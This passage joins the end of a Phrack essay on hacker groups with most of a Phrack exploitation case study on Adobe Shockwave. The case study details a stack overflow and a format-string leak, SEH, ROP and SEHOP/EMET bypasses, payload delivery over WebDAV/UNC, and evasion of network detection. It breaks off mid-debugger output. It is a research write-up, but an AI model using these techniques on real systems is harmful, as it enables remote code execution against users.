apparently overpopulated metropolises (see note "B"). In this never-ending crowd of interesting, outstanding personas, we want to shine somehow, to prove ourselves different and original. In the end, it turns into a pointless battle, against God-knows-who, for apparent singularity. Instead of reaching for the fellow man, we want to set ourselves apart, and thus, remarkable. --[ 4 - Conclusion Modern life nearly conspires against the collective. We are tormented by a relentless flow of information as well as the daily worries of an eternally insecure, unwarranted life. Furthermore, we dread the thought of being alike, of sharing multiple views and opinions. As such, we are turning progressively judgemental of who we should be partnering with, on the basis that "they do not understand". In hacking, it yet implicates on the delicate subject of trust, which would require an essay on itself, given the undeniable importance the matter has acquired over the years. If our thoughts on creating hacker groups were to be summarized, this is how they would look: No one ever feels like we do. They are not to be trusted and we do not have the time for them. The only attitude consonant to our search for a comfortable, safe life is to constrain ourselves to our own limitations, ignore the intelligent life out there, and surrender to the mediocracy that our society has condemned our leisure time to. --[ 5 - Shouts My only acknowledgements go to whoever reads this through and puts his/her thoughts to it. I eagerly await for your comments. --[ 6 - Bibliography 1 - "Time Wars", Mark Fisher - http://www.gonzocircus.com/xtrpgs/ incubate-special-exclusive-essay-time-wars-by-mark-fisher/ 2 - "Collective Consciousness", Wikipedia - http://en.wikipedia.org/wiki/Collective_consciousness 3 - Excerpt of "Emile Durkheim: An Introduction to Four Major Works", Robert Alun Jones - http://durkheim.uchicago.edu/Summaries/dl.html --[ 7 - Notes A) In respect to social networks, while they are a valid community-building mechanism in nature, selfishness prevails in common usage, by means of the indulgent pleasure that fuels chronic "pluggedness", at times voyeur, at times exhibitionist and needy. It is arguably the case, though, that the globalizing aspect of the Internet has brought the feeling of upsetting commonality to the citizens of even the more unpopulated places. Sursa: http://phrack.org/papers/fall_of_groups.html

Title : Adobe Shockwave - A case study on memory disclosure Author : aaron portnoy Date : May 28, 2014 |=-----------------------------------------------------------------------=| |=---------------=[ The Art of Exploitation ]=---------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Adobe Shockwave ]=------------------------=| |=----------------=[ A case study on memory disclosure ]=----------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ aaron portnoy ]=--------------------------=| |=-------------------=[ deft_phrack at thunkers.net ]=-------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - Shockwave Overview 2.1 - Deployment Notes 2.2 - Supported File Formats 2.3 - Creating Director Files 2.4 - Relevant Shockwave Modules 2.5 - The Lingo Scripting Language 3 - Vulnerability Discovery 3.2 - Stack-based Buffer Overflow 3.3 - Stack-based Memory Disclosure 3.3.1 - Undocumented Format Specifier 4 - Exploit Delivery 4.1 - Server-side Architecture 4.1.1 - web.py 4.1.2 - lighttpd 4.2 - The HTML 4.3 - The Javascript 4.4 - The Lingo 4.5 - The Python 5 - Vulnerability Exploitation 5.1 - Windows XP SP3 / Firefox / Shockwave 11.6.5.635 5.2 - Windows XP SP3 / Firefox / Shockwave 11.6.8.638 5.3 - Windows 7 x64 / Firefox / Shockwave 12.0.0.112 5.4 - Windows 7 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0 5.4.1 - Relevant 'EMET 5.0' Mitigations 5.5 - Windows 8 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0 5.5.1 - Relevant 'EMET 5.0 Tech Preview' Mitigations 6 - Future Work 7 - Conclusion 8 - Greets 9 - References 10 - Exploit --[ 1 - Introduction These days, proper exploit development on the latest and greatest operating systems is a time-consuming task. It doesn't help matters that the availability of public resources to help individuals research techniques to achieve such ends are becoming scarce. There are many reasons why this is now the case. Mainly, techniques to bypass security mitigations have become a valuable commodity to various entities and as such are no longer released as often for public dissemination or to further one's reputation. I was lucky enough to get started in this field when there were resources like Gera's insecure programming challenges [1], 29A [2], Uninformed [3], and of course Phrack to inspire me. I've tried to imagine what it would be like to be a newcomer in current times and it's a bit depressing that most (not all) of the material that is actually published is done so with an unhealthy bit of rodomontade and ulterior motives. Generally, the output lacks details that are most facilitating to an aspiring researcher--the approaches to the problem (including the failures) that so define how a so-called hacker really thinks. This article is intended to give the reader insight into an approach to the vulnerability discovery and exploitation process. By no means should the take- away from this be that mitigations are broken or easily defeated, but rather it serves as a case study demonstrating real-world vulnerabilities and the process by which I was able to achieve successful code execution in spite of various mitigations that have hitherto not been bypassed publicly. What follows is walk through of the discovery and exploitation of a memory disclosure vulnerability and a stack-based buffer overflow that together can be abused to bypass stack cookies (/GS), SafeSEH (/SAFESEH), full process Address Space Layout Randomization (ASLR, /DYNAMICBASE), Data Execution Prevention (DEP), Structured Exception Handler Overwrite Protection (SEHOP), and the Enhanced Mitigation Experience Toolkit (EMET) to gain reliable code execution against a multitude of platforms, but with a focus on Windows 8 x64. The bugs discussed herein were discovered by myself and where applicable I will try to cite dates to help the reader understand the time invested to create the end result. Hopefully there's something in here that you're able to take away and I'd like to imagine one day you'll also share something with those who come after you. --[ 2 - Shockwave Overview The vulnerabilities I'll be discussing are in Adobe's Shockwave Player [4], a closed-source application used for viewing Adobe Director media files within a browser. The player can be installed on Windows and Mac OS operating systems and is deployed on over 450 million desktops according to Adobe [5]. Shockwave is often confused with Flash due to Flash's misleading MIME type of 'application/x-shockwave-flash'. This is not the case, however, and the technologies are entirely independent of each other (for the record, Shockwave's MIME type is 'application/x-director'). ----[ 2.1 - Deployment Notes The Shockwave Player is invoked differently depending on which browser/OS you're running. For example, in the case of Internet Explorer the Shockwave ActiveX control is instantiated and the Adobe modules are loaded into the iexplore.exe process space. However, in the case of Firefox, plugins are loaded via NPAPI [6] and occupy a new child process called plugin-container.exe. By default, if a user visits the Shockwave installer site, they are served up the "slim" version of the installer. The difference between the slim and the full is that the slim does not contain all the functionality for various media types (instead they are downloaded when the Player tries to render a media file with such content). It should also be noted that the code is distributed as a 32-bit build, even if deployed on a 64-bit operating system. ----[ 2.2 - Supported File Formats Shockwave is used to render Adobe Director files. These come in three forms: - .dir is an uncompressed Director file - .dcr is Director file compressed in various locations using zlib - .dxr is a non-editable Director file Each of these are undocumented but are based off of the RIFF file format (except that their data is stored in big endian as denoted by the file magic value of 'RIFX'). For example, a partial hex dump of a .dir file: Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F --------------------------------------------------------------------------- 00000000 58 46 49 52 78 62 05 00 33 39 56 4D 70 61 6D 69 XFIRxb..39VMpami 00000010 18 00 00 00 01 00 00 00 26 8B 00 00 82 07 00 00 ........&`..`... 00000020 00 00 00 00 00 00 00 00 00 00 00 00 2A 59 45 4B ............*YEK 00000030 74 01 00 00 0C 00 0C 00 1E 00 00 00 17 00 00 00 t............... 00000040 3E 00 00 00 04 00 00 00 6D 75 68 54 0D 00 00 00 >.......muhT.... 00000050 04 00 00 00 44 45 4D 58 2B 00 00 00 4B 00 00 00 ....DEMX+...K... 00000060 6D 75 68 54 6D 00 00 00 4B 00 00 00 44 45 4D 58 muhTm...K...DEMX ... The .DCR format is useful for bypassing network detection, as no device/software I am aware of currently knows how to decompress this proprietary format. ----[ 2.3 - Creating Director Files Director files are created in, appropriately, Adobe Director [7]. The interface is very similar to Flash Studio in that there are frames, a movie object, a stage, cast members, sprites, and script objects. One quirk worth mentioning is that by default, when 'playing' a file within Director it uses an older version of the Shockwave libraries (not the ones in the player's default directory). I'm guessing that this might not be the case if you're using the latest Director (version 12), but as I was using warez, well, ... you get it. This can impact your exploit development so ensure you test outside Director as well (or overwrite the appropriate modules with newer versions). ----[ 2.4 - Relevant Shockwave Modules There are two main modules that Shockwave uses to handle parsing and rendering of DIR files: DIRAPI.dll and IML32.dll. I did a bit of research on these back in 2011 [8]. Shockwave uses a custom memory manager called Smartheap [9], but that isn't really of much interest with regard to the vulnerabilities described in this article. In addition to those two modules, there are also a number of "Xtras". These files have .x32 extensions but are simply DLL files. They provide added functionality for things like embedded media (Quicktime, Flash, 3D objects, fonts, audio, and so on). ----[ 2.5 - The Lingo Scripting Language Shockwave files have support for a built-in scripting language called Lingo which was created in the 1990s and, according to the inventor John Thompson, was his "...most significant contribution to the computer industry to date" [10]. Lingo enables a Director developer to interact with multimedia elements and the user. Its intended functionality is very similar to its Adobe Flash counterpart, Actionscript. Its syntax, however, is a bit different. There is an API reference available on Adobe's site [11] that covers mostly everything you'd need to know about it. We'll soon see that Lingo can provide an attacker with a wealth of information to aid in the exploitation process. --[ 3 - Vulnerability Discovery I had previously spent a good amount of time bug hunting in Shockwave for a presentation at CanSecWest and had unearthed a few file format vulnerabilities. The problem with those, however, is that anybody with the ability to bit-flip a file can also stumble upon them trivially. So, this time around I decided to see what I could find in Lingo. One of the most tedious aspects of bug hunting is figuring out the best way to generate input to properly cover as much of the attack surface as possible. My first attempt at this was to don my hipster jeans and learn to develop Director movies legitimately. I tried to embed as much content as possible and ensured in a debugger that the appropriate Xtras were being loaded into the process. The hardest part was learning how to properly access the objects via Lingo and interact with them in the hopes of causing a fault. After exhausting as many Lingo methods as I could manage to invoke (it's a long list, check out: http://help.adobe.com/en_US/Director/11.5/UsingScripting /WSc3ff6d0ea77859461172e0811d64c1a1b3-7ff4.html) I sat back and considered what to do next. Following reflection upon my prior attempts, I realized that the one subset of the available Lingo methods that I was unable to invoke were related to the 3D API. As it turns out, I was unable to call Lingo's 3D methods because I could not embed a proper 3D object and initialize the environment as was required. I decided the best approach was to find an existing Director file that already had 3D objects and associated Lingo code in it. After searching a while I found that Director itself comes with some tutorial files that fit the need. In the %ProgramFiles%\Adobe\Adobe Director 11\Configuration\Tutorials\3D folder are the .dir files I was hoping to find. Once they were loaded into Director I found the Lingo scripts I could simply modify to invoke the methods I had previously overlooked. ----[ 3.2 - Stack-based Buffer Overflow The first vulnerability I discovered was a stack-based buffer overflow that could be reached via two different Lingo methods (they hit the same vulnerable code, so I consider them the same bug). The vulnerable methods were: - physicsWorld.loadProxyTemplate(string proxyname, 3dmember) - world.createRigidBody(string rigidbodyname, string 3Dmodelname, symbolBodyProxy, symbol bodyType, symbol flipNormals) When provided with a large enough string as the first parameter to either of these a buffer on the stack can be overflowed. In order to craft a large string in Lingo, you can use their equivalent of a for loop: buf = "" repeat with i = 0 to 10000 buf = buf & "$" end repeat Depending on how much data is provided, the fault that the debugger catches may differ. Here's one such crash: (63c.410): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=37734236 ebx=02f6bd10 ecx=00000000 edx=03790404 esi=000033a7 edi=02f6c248 eip=6fde9d0a esp=02f6b7ec ebp=02f6b7ec iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 IML32!Ordinal1115+0xa: 6fde9d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a OK, from the faulting instruction alone there is not much to deduce. The call stack tells us a bit more: 0:005> kv ChildEBP RetAddr Args to Child 02f6b7ec 6f2277b8 37734236 02f6b810 6f2283b1 IML32!Ordinal1115+0xa 02f6b7f8 6f2283b1 02f6c248 06cf7024 00000000 DIRAPI+0x377b8 02f6b810 6f23a8ea 06cf7024 000033a7 02f6bd10 DIRAPI+0x383b1 02f6b82c 6f35ec15 06cf7024 02f6c248 02f6bd10 DIRAPI+0x4a8ea 02f6b848 6e73250b 06ced4bc 02f6c248 02f6bd10 DIRAPI+0x16ec15 02f6c114 42346942 69423569 37694236 42386942 Dynamiks+0x335e 02f6c118 69423569 37694236 42386942 6a423969 0x42346942 02f6c11c 37694236 42386942 6a423969 316a4230 0x69423569 02f6c120 42386942 6a423969 316a4230 42326a42 0x37694236 02f6c124 6a423969 316a4230 42326a42 6a42336a 0x42386942 02f6c128 316a4230 42326a42 6a42336a 356a4234 0x6a423969 02f6c12c 42326a42 6a42336a 356a4234 42366a42 0x316a4230 <snip> The first thing that jumps out here is that there are what appear to be 5 fully intact frames before the stack is smashed. That tells us that the destination buffer likely originates in the Dynamiks module. We can also see that there are two stack pointers passed as arguments from Dynamiks. Inspecting these we can see which was the destination buffer (we could also deduce this from the frame pointers we see in the call stack... i.e. it's unlikely to be 0x02f6c248 because the corruption began lower on the stack): 0:005> dc 02f6c248 L8 02f6c248 73423573 37734236 42387342 74423973 s5Bs6Bs7Bs8Bs9Bt 02f6c258 31744230 42327442 74423374 35744234 0Bt1Bt2Bt3Bt4Bt5 0:005> dc 02f6bd10 L8 02f6bd10 41306141 61413161 33614132 41346141 Aa0Aa1Aa2Aa3Aa4A <- beginning 02f6bd20 61413561 37614136 41386141 62413961 a5Aa6Aa7Aa8Aa9Ab of our buf So, the stack buffer begins at 0x02f6bd10 and was passed from the Dynamiks module into DIRAPI as argument 3. This can be seen by disassembling the Dynamiks module and checking out the code before offset 0x335e: (Dynamiks.x32: md5sum c6a9a75deb3da27682c267a7a2507e16, checksum 2a30eb, Shockwave version 12.0.0.112) 0:005> ub Dynamiks+0x335e L6 Dynamiks+0x334f: 709e334f 8d8dfcfbffff lea ecx,[ebp-404h] <--- vulnerable buffer 709e3355 51 push ecx <-------------- passed as third argument 709e3356 8d4f08 lea ecx,[edi+8] 709e3359 51 push ecx 709e335a 50 push eax 709e335b ff5244 call dword ptr [edx+44h] In a real disassembler (IDA Pro) we can see how large that local variable is by checking out the function's stack: -00000404 var_404 db 1024 dup(?) <--- vuln buffer, 1024 bytes -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 arg_0 dd ? +0000000C arg_4 dd ? +00000010 arg_8 dd ? +00000014 arg_C dd ? +00000018 arg_10 dd ? Any string over 1024 bytes in size will corrupt var_4. Any guess as to what var_4 is? Yep... say hello to the /GS mitigation: (Dynamiks.x32: base address 0x10000000) .text:100018A8 mov eax, ___security_cookie .text:100018AD xor eax, ebp .text:100018AF mov [ebp+var_4], eax For those of you not familiar with /GS [12] it is a compiler option that is on by default in any recent version of Visual Studio. It works by ... well, skape said it much better than I in his Uninformed [13] article when describing stack cookie initialization: "At a high-level, this routine will take an XOR'd combination of the current system time, process identifier, thread identifier, tick count, and performance counter. The end result of XOR'ing these values together is what ends up being the image file's security cookie." The result of those operations is a 4-byte value that gets generated when the module is loaded and then stored in its .data section. Any function the compiler deems in need of some extra protection takes that value and XORs it again with the current frame pointer (@ebp). It then stores it on the stack as the first local variable. Upon function exit, the process checks if it has been tampered with and, if so, throws an exception which usually results in process termination. Had we not caused an exception in IML32.dll the code would still return back to the Dynamiks module and upon function exit (provided it doesn't access any other invalid data long the way), the stack cookie check would fail and the process would throw an exception and probably exit. Either way, this is an obstacle we'll need to bypass. We'll get back to this in a bit. ----[ 3.3 - Stack-based Memory Disclosure In the course of testing the 3D Lingo methods, I was using a string consisting of a large amount of the "%x" characters. I was lucky enough to also be outputting objects to the Messages window via Lingo's trace() function. In a few cases I saw some very interesting output, such as the following: model("d03e682631e7c647ae08432631e18680fb8a9d03e6830680276b012d450d03e6869080 b8e56b7420100c17eb9069056cd56908db3811038") That was certainly not the name I gave that object when I called newModel()... Separating those %x values by spaces yielded: model("d03e68 6317e44 5ffad60 43 6317dcc 680fb8a9 d03e68 42 680276b0 12d450 d03e68 69080b00 5711164 100c 17eb90 69056cd5 6908db38 1 1038") At this point I was testing all of this on Windows XP and thus there was no Address Space Layout Randomization to worry about. With that in mind, I'll tell you that DIRAPI.dll has a preferred base address of 0x68000000 and IML32.dll of 0x69000000. Looking at the output from the trace() call we can clearly see that we're dealing with a format string vulnerability and for each %x we provide, we're returned a 32 bit value off the stack. As the code path to reach this vulnerability is deterministic, it can be verified that the code pointers will always be the same on a non-ASLR'd system. Thus, we can disclose the base addresses of at least two modules as well as what look to be heap and stack pointers. We can verify the addresses in a debugger: 0:008> !address 0xd03e68 00c60000 : 00c60000 - 00101000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000 0:008> !heap -p -a 0xd03e68 address 00d03e68 found in _HEAP @ 150000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00c60018 20000 0000 [0b] 00c60020 100000 - (busy VirtualAlloc) ? <Unloaded_ame.dll>+ffff7 0:008> !address 6317e44 06010000 : 06314000 - 0005b000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000 0:008> !address 5ffad60 05f00000 : 05f00000 - 00101000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 00150000 0:008> !address 12d450 00030000 : 0011e000 - 00012000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageStack Pid.Tid d1c.89c 0:008> !address 69080b00 69000000 : 69001000 - 0008c000 Type 01000000 MEM_IMAGE Protect 00000020 PAGE_EXECUTE_READ State 00001000 MEM_COMMIT Usage RegionUsageImage FullPath <snip>IML32.dll 0:008> ub 69056cd5 L1 IML32!Ordinal1754+0x12b3: 69056cd3 ffd5 call ebp One thing worth pointing out there is that the heap pointers originate from an allocation of size 0x100000. This is due to the Smartheap slicing out allocations from its own arena of that size. Anyway, the take-away here is that I was able to leak an address from the stack, two from the heap, and one from a module (IML32.dll). ------[ 3.3.1 - Undocumented Format Specifier During my initial attempt at exploitation of these issues, I was having trouble locating a reliable stack pivot within the one module I was able to leak an address from (IML32.dll). After struggling with that problem for about one week, I went back and began reverse engineering the root cause of the memory disclosure and came across some undocumented functionality in Lingo. When provided with a "%v" format specifier, the code within DIRAPI.dll replaces it with <%d %p>: (DIRAPI.dll: base address 0x68000000, md5sum fb5405cef8b2d6273c593477392cbc88, checksum 1c266b, Shockwave version 12.0.0.112) .text:68039FF2 case__v: .text:68039FF2 .text:68039FF2 add edi, 4 ; jumptable 68039EC7 case 35 .text:68039FF5 mov [ebp+var_814], edi .text:68039FFB mov edi, [edi] .text:68039FFD lea esi, [ebp+var_810] .text:6803A003 mov byte ptr [ebp+var_404], 0 .text:6803A00A call sub_68039CA0 .text:6803A00F test eax, eax .text:6803A011 jz loc_6803A0EA .text:6803A017 mov eax, [ebp+arg_8] .text:6803A01A mov ecx, [ebp+var_824] .text:6803A020 mov edx, [ebp+var_828] .text:6803A026 push eax .text:6803A027 push ecx .text:6803A028 push edi .text:6803A029 push edx .text:6803A02A call sub_68030DB0 ; replaces %v with <%d %p> and .text:6803A02A re-enters this func By placing %v characters at specific locations in the input string I was able to force a dereference of one of the stack values and retrieve two 32-bit integers from there, which yielded me an additional address within a module. Specifically, I was able to leak an address within the "Shockwave 3d Asset.x32" module which, it turned out, had a quite useful code primitive I abused for a stack pivot. --[ 4 - Exploit Delivery The exploits discussed herein were progressively developed, with differing approaches as obstacles were encountered. I've included explanations of all of them to allow the reader to gain some insight into the process rather than just delivering an explanation of what came to be the best solution. In fact, the attached exploit code has not been "cleaned up", instead it contains all the artifacts of a work-in-progress leading up to the final solution. ----[ 4.1 - Server-side Architecture As some of the exploits have different required architecture, I will cover all the components I utilized throughout the exploitation process. ------[ 4.1.1 - web.py I used web.py[14] to serve the following: * HTML pages that embedded the .dir files * Director files * A payload in one of the exploits The included exploit has the following directory structure: ./ | craft_exploit.py | main.py | |---web | (web.py library code) | '---www |---dirs | input.dir | mem_disc.dir | output.dir | |---html | exploit.html | index.html | '---payload runcalc.dll It is also worth noting that I also added code to handle serving gzip-encoded data to my main.py as I encountered some unreliability with regard to web.py and its serving of large files. ------[ 4.1.2 - lighttpd During one stage of the exploit development process, the code required a WebDAV server to host a payload. For that, I used lighttpd[15] with the following configuration: server.document-root = "/htdocs" server.port = 80 server.username = "nobody" server.groupname = "nogroup" mimetype.assign = (".html" => "text/html", ".application" => "application/x-ms-application") server.modules = ( "mod_webdav", "mod_alias", "mod_accesslog") server.errorlog = "/logs/error.log" accesslog.filename = "/logs/access.log" webdav.activate = "enable" webdav.sqlite-db-name = "/lock/lighttpd.webdav_lock.db" ----[ 4.2 - The HTML The HTML is pretty basic and consists of an index.html that embeds the .dir file responsible for memory disclosure and an iframe that is dynamically populated with the exploit.html page, which in turn embeds the crafted .dir exploit for that particular client, on demand. The iframe was required as it was noted that if one was not used, modules in memory were loaded and unloaded at potentially different addresses if the browser navigated away from one page, thus rendering the memory disclosure unreliable. ----[ 4.3 - The Javascript The index.html page contains the javascript functions responsible for the following: * Receiving disclosed memory contents provided by the mem_disc.dir file * Receiving and parsing version, platform, and user agent information * POST-ing to itself in order to get such data back to main.py ----[ 4.4 - The Lingo There are a couple of Lingo functions and properties that are exceptionally friendly for the exploit developer. The following are used to determine how to craft the malicious .dir file for a given client and then transport that information to the server: * goToNetPage - function used to call javascript from the .dir * environmentPropList - property used to obtain platform, operating system information, and shockwave build version ----[ 4.5 - The Python The craft_exploit.py handles construction of a custom .dir file per client request. It receives leaked memory addresses, browser user agent, shockwave version, and platform information from the aforementioned POST request. The CraftExploit class defined within contains two class variables of note. The self.int_mods list is populated with tuples containing the file offset within the template .dir file and the value to inject. For example, the first stack pivot used corresponds to offset 0x55AFC in the file. The relevant code that replaces that value in the template .dir file looks like this: self.int_mods.append((0x55AFC, self.sw_3d+0x13e522)) The above will cause the resulting .dir file at offset 0x55AFC to contain a pointer to the "Shockwave 3d Asset.x32" at offset 0x13e522. The other notable class variable is self.str_mods which does much the same thing, except that it is implemented as a dictionary. For example, in order to ensure that a string value will exist at a given offset in the resulting .dir file, one can utilize str_mods as so: self.str_mods[0x536D0] = 'urlmon.dll\x00' The contents of str_mods and int_mods are injected into the file using CraftExploit's render method and then served to the target client via the web server. --[ 5 - Vulnerability Exploitation The following sections will walk the reader through my exploit development process against various configurations, bypassing mitigations as encountered. ----[ 5.1 - Windows XP SP3/Firefox/Shockwave 11.6.5.635 This was the first exploit I wrote for this issue, and as I was developing it on Windows XP SP3 I did not need to worry about ASLR (or even use the memory disclosure vulnerability). This was written the day the bug was discovered with the intent of exploiting the issue quickly, not reliably. As the vulnerable code is protected by /GS, I opted to overwrite one of the saved exception handlers on the stack. The executable was also compiled with SafeSEH, for which bypasses has been covered extensively by others. In short, I pointed the corrupted handler to an address inside a module that did not make available the addresses of its exception handling functions (for WinDBG users, I recommend checking out the narly[16] plugin that helps determine which addresses are available for such a bypass). Thus, the exception dispatcher was unable to determine if my corrupted pointer was legitimate and would proceed to call it. I then gained stack control and, after some ROP-ing, VirtualProtectEx'd the stack and returned to it, executing a payload that simply ran WinExec("calc.exe"). I relied on several things that make this exploit... dirty: * The modules I used to ROP with were getting their preferred base addresses, and thus I could easily ignore ASLR. * I used a system library, shell32.dll, for some primitives. This module is updated by Microsoft often and is not something to rely on. So, to summarize, this exploit bypasses /GS, SafeSEH, DEP, and ignores ASLR (but is more of a PoC than a proper exploit--and well, it's XP). ----[ 5.2 - Windows XP SP3/Firefox/Shockwave 11.6.8.638 About a day after I wrote the exploit for version 11.6.5.635 Adobe released 11.6.8.638. For completeness' sake, I added support to my exploit for what was the latest version, using identical primitives, differing just in location. See the attached exploit for details. ----[ 5.3 - Windows 7 x64/Firefox/Shockwave 12.0.0.112 When Adobe released version 12.0.0.112, I decided to utilize the memory disclosure bug and exploit the vulnerabilities on a more modern operating system, Windows 7. This time, I used the stack memory disclosure to remove any reliance on indeterminable memory addresses, thus bypassing ASLR. Unlike the prior exploits, this version simply ROPs to a LoadLibraryA call and requests DLL over a UNC path. I created a simple DLL that just calls WinExec("calc.exe") upon load. Then, using lighttpd as described in 4.1.2, the file is served. ----[ 5.4 - Windows 7 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0 The above exploit against Windows 7 x64 uses LoadLibraryA to load a malicious payload off of a UNC share. EMET removes the ability to do this, but it is easy enough to bypass, as detailed in the following section. ------[ 5.5.1 - Relevant 'EMET 5.0' Mitigations The exploit for the same target with EMET 5.0 enabled simply calls MoveFileA first to move the file from the remote WebDAV to the local filesystem and then calls LoadLibraryA on the local file. Protip: chattr +i the DLL file on the server so that the MoveFileA will move it but won't be able to delete it afterwards, enabling subsequent exploit attempts to work without a problem. You could also do this within the lighttpd config. Also, EMET implements a mitigation they call Export Address Table Filtering[17] which monitors for read accesses to the exported function addresses in key system DLL modules. However, the attached exploit retrieves the addresses of functions by snagging a pointer via the Shockwave modules' import section (which are not monitored by EMET), rather than from the system DLL files themselves. ----[ 5.5 - Windows 8 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0 Windows 8 introduces a number of exploit mitigations, thoroughly summarized by Matt Miller and Ken Johnson during their Blackhat talk in 2012 [18]. The most obtrusive mitigation that had to be overcome was SEHOP. SEHOP is another mitigation intended to deter exploitation of SEH-based corruption. As Microsoft describes [19]: "The first step involves the insertion of a symbolic exception registration record as the tail record in a thread's exception handler list. This step occurs when a thread first begins executing in user mode. Since exception registration records are always inserted at the head of the exception handler list, the symbolic record is guaranteed to be the final exception registration record. The second step consists of walking the exception handler list at the time that an exception is being dispatched to ensure that the symbolic record can be reached and that it is valid. This step happens when the exception dispatcher is notified that an exception has occurred in user mode. If the symbolic record cannot be reached, the exception dispatcher can assume that the exception handler list is corrupt and that an SEH overwrite may have occurred. The exception dispatcher is then able to safely terminate the process. If the symbolic record is found, the exception dispatcher is able to proceed as it normally would and call each of the registered exception handlers." In order to bypass this mitigation, you pretty much need a memory disclosure. Luckily for me, the leaking of a stack address makes this possible. To demonstrate how such a mitigation is bypassed, the following will walk through inspecting the exception chain before and after the exploit corrupts it. Firstly, once attached to the Firefox process, we can tell WinDBG to follow child processes with the '.childdbg 1' command. Next we point Firefox to the malicious server which will cause the Shockwave player to be invoked, thus launching the plugin-container.exe process from Firefox: 0:029> .childdbg 1 Processes created by the current process will be debugged 0:029> g ModLoad: 70b30000 70b63000 C:\Windows\SysWOW64\shdocvw.dll <snip> ModLoad: 09c70000 09c76000 plugin-container.exe Executable search path is: ModLoad: 00fa0000 00fa6000 plugin-container.exe ModLoad: 772f0000 77447000 ntdll.dll ModLoad: 76620000 76750000 C:\Windows\SysWOW64\KERNEL32.DLL ModLoad: 74f10000 74fb6000 C:\Windows\SysWOW64\KERNELBASE.dll <snip> ModLoad: 74980000 74989000 C:\Windows\SysWOW64\CRYPTBASE.dll ModLoad: 74920000 74971000 C:\Windows\SysWOW64\bcryptPrimitives.dll (834.950): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000003 ecx=a1500000 edx=00000000 esi=00000000 edi=007e0000 eip=77390545 esp=007bf854 ebp=007bf880 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 77390545 cc int 3 In order to inspect the untainted exception chain, we can ask WinDBG to next break upon loading of the Dynamiks.x32 module using: 1:032> sxe ld:dynamiks 1:032> g (740.1f0): Unknown exception - code 000006ba (first chance) ModLoad: 709e0000 70c81000 C:\Users\user\AppData\LocalLow\Adobe\Shockwave Player 12\xtras\download\AdobeSystemsIncorporated\Dynamiks\Dynamiks.x32 eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=00000000 edi=fe9bf000 eip=77e20fe8 esp=0061a944 ebp=0061a99c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206 ntdll!ZwMapViewOfSection+0xc: 77e20fe8 c22800 ret 28h 1:032> bp !Dynamiks+0x335b 1:032> g Breakpoint 0 hit eax=0506ba80 ebx=00000000 ecx=0061ca6c edx=71407620 esi=050003a0 edi=0061ca64 eip=709e335b esp=0061c074 ebp=0061c938 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 Dynamiks+0x335b: 709e335b ff5244 call dword ptr [edx+44h] ds:002b:71407664=713debe0 We can view the current exception chain with the !exchain command: 1:032> !exchain 0061ef40: USER32!_except_handler4+0 (775f3991) 0061efa4: USER32!_except_handler4+0 (775f3991) 0061f000: ntdll!KiUserCallbackExceptionHandler+0 (77e22e60) 0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859) 0061f858: plugin_container+18f9 (010b18f9) 0061f8a8: ntdll!_except_handler4+0 (77ec35f2) 0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86) Invalid exception stack at ffffffff For those unfamiliar with the above formatted information, the first number is the address on the stack of the SEH record. For example, for the first entry we can inspect the record and verify that the first 32 bit value points to the next SEH record address on the stack, and that the second 32 bit value points to the code responsible for handling the exception: 1:032> dd 0061ef40 L2 0061ef40 0061efa4 775f3991 1:032> u poi(0061ef40+4) L4 USER32!_except_handler4: 775f3991 8bff mov edi,edi 775f3993 55 push ebp 775f3994 8bec mov ebp,esp 775f3996 83ec14 sub esp,14h Prior to corruption, the SEH record chain consists of the following stack locations, terminated by -1: 0061ef40->0061efa4->0061f000->0061f0fc->0061f858->0061f8a8->0061f8c8->ffffffff At this point, we also know the address of the destination buffer that will be overflowed (see section 3.2): 1:032> dd @esp+0x8 L1 0061c07c 0061c534 We can calculate how much data is required to be copied from that address to reach the first SEH record on the stack: 1:032> ? 0061ef40-0061c534 Evaluate expression: 10764 = 00002a0c Now comes the fun part. The exception chain validation that occurs when ntdll!KiUserExceptionDispatcher doesn't care how many entries are in the chain. What this means is that an attacker has some flexibility with regard to how they choose to bypass the checks. For example, the stack corruption could be used to link the first exception handler (USER32!_except_handler4) all the way to the last one (ntdll!FinalExceptionHandler) by modifying the first's *next pointer. Another option (and the one that I chose) is to craft a fake SEH record, link a prior record to yours, and link yours to an existing one located further down the stack. To illustrate this, the below shows the state of the exception chain after attempting to step over the call that causes the stack-based buffer overflow: 1:032> p (740.1f0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=37734236 ebx=0061c534 ecx=00000000 edx=00e5eff4 esi=00002af8 edi=0061ca6c eip=71439d0a esp=0061c010 ebp=0061c010 iopl=0 nv up ei pl nz na pe nc cs=0023 